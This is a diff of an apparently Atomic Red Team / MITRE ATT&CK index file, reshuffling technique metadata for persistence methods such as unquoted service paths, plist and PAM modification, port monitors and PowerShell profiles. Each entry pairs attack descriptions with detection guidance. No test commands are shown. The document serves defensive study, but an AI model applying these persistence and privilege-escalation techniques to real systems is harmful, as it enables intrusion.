-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Path Interception by Unquoted Path
+      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
       description: |-
         Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
 
         Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)
 
         This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
-      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-09-17T19:05:23.755Z'
-      created: '2020-03-13T13:51:58.519Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: |-
         Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
 
         Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/009
+        external_id: T1574.009
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/38.html
+        external_id: CAPEC-38
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
+        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
+          Registry Tree. Retrieved March 16, 2020.
+        source_name: Microsoft CurrentControlSet Services
+      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
+        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
+          vulnerabilities. Retrieved November 8, 2012.
+        source_name: Help eliminate unquoted path
+      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
+        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
+          Services. Retrieved August 10, 2018.
+        source_name: Windows Unquoted Services
+      - url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
+        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
+          Retrieved August 10, 2018.
+        source_name: Windows Privilege Escalation Guide
       identifier: T1574.009
     atomic_tests:
     - name: Execution of program.exe as service with unquoted service path
@@ -48566,87 +50085,69 @@ persistence:
         elevation_required: true
   T1547.011:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Plist Modification
+      x_mitre_data_sources:
+      - 'Service: Service Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:46:47.383Z'
       created: '2020-01-24T20:02:59.149Z'
-      modified: '2021-03-30T00:51:59.629Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a
+      description: "Adversaries can modify property list files (plist files) to execute
+        their code as part of establishing persistence. Plist files are used by macOS
+        applications to store properties and configuration settings for applications
+        and services. Applications use information plist files, <code>Info.plist</code>,
+        to tell the operating system how to handle the application at runtime using
+        structured metadata in the form of keys and values. Plist files are formatted
+        in XML and based on Apple's Core Foundation DTD and can be saved in text or
+        binary format.(Citation: fileinfo plist file description) \n\nAdversaries
+        can modify paths to executed binaries, add command line arguments, and insert
+        key/pair values to plist files in auto-run locations which execute upon user
+        logon or system startup. Through modifying plist files in these locations,
+        adversaries can also execute a malicious dynamic library (dylib) by adding
+        a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined
+        with a path to a malicious dylib under the <code>EnvironmentVariables</code>
+        key in a plist file. Upon user logon, the plist is called for execution and
+        the malicious dylib is executed within the process space. Persistence can
+        also be achieved by modifying the <code>LSEnvironment</code> key in the application's
+        <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)"
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.011
-        url: https://attack.mitre.org/techniques/T1547/011
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
-        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
-          11, 2017.
-        source_name: Adding Login Items
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
-          Retrieved July 10, 2017.
-        source_name: Malware Persistence on OS X
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
-        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
-          traffic. Retrieved July 10, 2017.
-        source_name: OSX.Dok Malware
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_detection: "Monitor for common command-line editors used to modify plist
+        files located in auto-run locations, such as <code>~/LaunchAgents</code>,
+        <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>,
+        and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification
+        immediately followed by code execution from <code>~/Library/Scripts</code>
+        and <code>~/Library/Preferences</code>. Also, monitor for significant changes
+        to any path pointers in a modified plist.\n\nIdentify new services executed
+        from plist modified in the previous user's session. "
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Plist Modification
-      description: "Adversaries may modify plist files to run a program during system
-        boot or user login. Property list (plist) files contain all of the information
-        that macOS and OS X uses to configure applications and services. These files
-        are UTF-8 encoded and formatted like XML documents via a series of keys surrounded
-        by < >. They detail when programs should execute, file paths to the executables,
-        program arguments, required OS permissions, and many others. plists are located
-        in certain locations depending on their purpose such as <code>/Library/Preferences</code>
-        (which execute with elevated privileges) and <code>~/Library/Preferences</code>
-        (which execute with a user's privileges). \n\nAdversaries can modify plist
-        files to execute their code as part of establishing persistence. plists may
-        also be used to elevate privileges since they may execute in the context of
-        another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for
-        execution at login is <code>com.apple.loginitems.plist</code>.(Citation: Methods
-        of Mac Malware Persistence) Applications under this plist run under the logged
-        in user's context, and will be started every time the user logs in. Login
-        items installed using the Service Management Framework are not visible in
-        the System Preferences and can only be removed by the application that created
-        them.(Citation: Adding Login Items) Users have direct control over login items
-        installed using a shared file list which are also visible in System Preferences
-        (Citation: Adding Login Items). Some of these applications can open visible
-        dialogs to the user, but they don’t all have to since there is an option to
-        \"hide\" the window. If an adversary can register their own login item or
-        modified an existing one, then they can use it to execute their code for a
-        persistence mechanism each time the user logs in (Citation: Malware Persistence
-        on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled</code>
-        can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002)
-        can do this as well. (Citation: Adding Login Items)"
-      id: attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
-
-        All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)
-
-        Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - macOS
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/011
+        external_id: T1547.011
+        source_name: mitre-attack
+      - url: https://fileinfo.com/extension/plist
+        description: FileInfo.com team. (2019, November 26). .PLIST File Extension.
+          Retrieved October 12, 2021.
+        source_name: fileinfo plist file description
+      - url: https://taomm.org/vol1/pdfs.html
+        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
+          0x1: Analysis. Retrieved March 19, 2021.'
+        source_name: wardle artofmalware volume1
       identifier: T1547.011
     atomic_tests:
     - name: Plist Modification
@@ -48670,42 +50171,16 @@ persistence:
         name: manual
   T1556.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.003
-        url: https://attack.mitre.org/techniques/T1556/003
-      - source_name: Apple PAM
-        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
-        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
-          Retrieved June 25, 2020.
-      - source_name: Man Pam_Unix
-        url: https://linux.die.net/man/8/pam_unix
-        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
-          25, 2020.
-      - source_name: Red Hat PAM
-        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
-        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
-          (PAM). Retrieved June 25, 2020.
-      - source_name: PAM Backdoor
-        url: https://github.com/zephrax/linux-pam-backdoor
-        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
-          25, 2020.
-      - source_name: PAM Creds
-        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
-        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
-          PAM backdoors & DNS requests. Retrieved June 26, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Pluggable Authentication Modules
-      description: |-
-        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
-
-        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
-
-        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
-      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
       type: attack-pattern
+      name: Pluggable Authentication Modules
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:48:33.580Z'
+      created: '2020-06-26T04:01:09.648Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -48713,25 +50188,51 @@ persistence:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:12:34.422Z'
-      created: '2020-06-26T04:01:09.648Z'
-      x_mitre_version: '2.0'
+      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
+      x_mitre_platforms:
+      - Linux
+      - macOS
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - root
+      description: |-
+        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
+
+        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
+
+        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
+      x_mitre_contributors:
+      - Scott Knight, @sdotknight, VMware Carbon Black
+      - George Allen, VMware Carbon Black
       x_mitre_detection: |-
         Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
 
         Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_contributors:
-      - Scott Knight, @sdotknight, VMware Carbon Black
-      - George Allen, VMware Carbon Black
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/003
+        external_id: T1556.003
+        source_name: mitre-attack
+      - url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
+        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
+          Retrieved June 25, 2020.
+        source_name: Apple PAM
+      - url: https://linux.die.net/man/8/pam_unix
+        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
+          25, 2020.
+        source_name: Man Pam_Unix
+      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
+        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
+          (PAM). Retrieved June 25, 2020.
+        source_name: Red Hat PAM
+      - url: https://github.com/zephrax/linux-pam-backdoor
+        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
+          25, 2020.
+        source_name: PAM Backdoor
+      - url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
+        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
+          PAM backdoors & DNS requests. Retrieved June 26, 2020.
+        source_name: PAM Creds
       identifier: T1556.003
     atomic_tests:
     - name: Malicious PAM rule
@@ -48828,26 +50329,31 @@ persistence:
 '
   T1205.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1205.001
-        url: https://attack.mitre.org/techniques/T1205/001
-      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
-        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
-          backdoor. Retrieved October 13, 2018.'
-        source_name: Hartrell cd00r 2002
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Port Knocking
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2020-10-21T01:26:31.804Z'
+      created: '2020-07-01T18:23:25.002Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
       description: |-
         Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
 
         This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
 
         The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
-      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -48855,45 +50361,44 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-10-21T01:26:31.804Z'
-      created: '2020-07-01T18:23:25.002Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Record network packets sent to and from the system, looking
         for extraneous packets that do not belong to established flows.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1205/001
+        external_id: T1205.001
+        source_name: mitre-attack
+      - source_name: Hartrell cd00r 2002
+        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
+          backdoor. Retrieved October 13, 2018.'
+        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
     atomic_tests: []
   T1547.010:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.010
-        url: https://attack.mitre.org/techniques/T1547/010
-      - url: http://msdn.microsoft.com/en-us/library/dd183341
-        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
-          2014.
-        source_name: AddMonitor
-      - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
-        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
-          slides&#93;. Retrieved November 12, 2014.
-        source_name: Bloxham
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Port Monitors
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-01-24T19:46:27.750Z'
+      created: '2020-01-24T19:46:27.750Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
       description: "Adversaries may use port monitors to run an attacker supplied
         DLL during system boot for persistence or privilege escalation. A port monitor
         can be set through the <code>AddMonitor</code> API call to set a DLL to be
@@ -48906,22 +50411,11 @@ persistence:
         Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this
         technique to load malicious code at startup that will persist on system reboot
         and execute as SYSTEM."
-      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-01-24T19:46:27.750Z'
-      created: '2020-01-24T19:46:27.750Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_effective_permissions:
       - SYSTEM
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
+      x_mitre_contributors:
+      - Stefan Kanthak
+      - Travis Smith, Tripwire
       x_mitre_detection: "Monitor process API calls to <code>AddMonitor</code>.(Citation:
         AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are
         abnormal. New DLLs written to the System32 directory that do not correlate
@@ -48929,16 +50423,23 @@ persistence:
         writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
         Run the Autoruns utility, which checks for this Registry key as a persistence
         mechanism (Citation: TechNet Autoruns)"
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      - Travis Smith, Tripwire
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/010
+        external_id: T1547.010
+        source_name: mitre-attack
+      - source_name: AddMonitor
+        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
+          2014.
+        url: http://msdn.microsoft.com/en-us/library/dd183341
+      - source_name: Bloxham
+        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
+          slides&#93;. Retrieved November 12, 2014.
+        url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547.010
     atomic_tests:
     - name: Add Port Monitor persistence in Registry
@@ -48967,30 +50468,30 @@ persistence:
         elevation_required: true
   T1546.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.013
-        url: https://attack.mitre.org/techniques/T1546/013
-      - source_name: Microsoft About Profiles
-        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
-        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
-          14, 2019.
-      - source_name: ESET Turla PowerShell May 2019
-        url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
-        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
-          usage. Retrieved June 14, 2019.
-      - source_name: Wits End and Shady PowerShell Profiles
-        url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
-        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
-          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
-      - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
-        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
-          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
-        source_name: Malware Archaeology PowerShell Cheat Sheet
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: PowerShell Profile
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T21:31:31.082Z'
+      created: '2020-01-24T15:11:02.758Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: "Adversaries may gain persistence and elevate privileges by executing
         malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>)
         is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)
@@ -49008,20 +50509,8 @@ persistence:
         \n\nAn adversary may also be able to escalate privileges if a script in a
         PowerShell profile is loaded and executed by an account with higher privileges,
         such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)"
-      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T21:31:31.082Z'
-      created: '2020-01-24T15:11:02.758Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      x_mitre_contributors:
+      - Allen DeRyke, ICE
       x_mitre_detection: |-
         Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:
 
@@ -49031,15 +50520,27 @@ persistence:
         * <code>$Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>
 
         Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'File: File Creation'
-      x_mitre_contributors:
-      - Allen DeRyke, ICE
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/013
+        external_id: T1546.013
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
+        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
+          14, 2019.
+        source_name: Microsoft About Profiles
+      - url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
+        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
+          usage. Retrieved June 14, 2019.
+        source_name: ESET Turla PowerShell May 2019
+      - url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
+        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
+          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
+        source_name: Wits End and Shady PowerShell Profiles
+      - source_name: Malware Archaeology PowerShell Cheat Sheet
+        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
+          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
+        url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
       identifier: T1546.013
     atomic_tests:
     - name: Append malicious start-process cmdlet
@@ -49082,39 +50583,10 @@ persistence:
         name: powershell
   T1542:
     technique:
-      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
-      description: |-
-        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
-
-        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
-      name: Pre-OS Boot
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
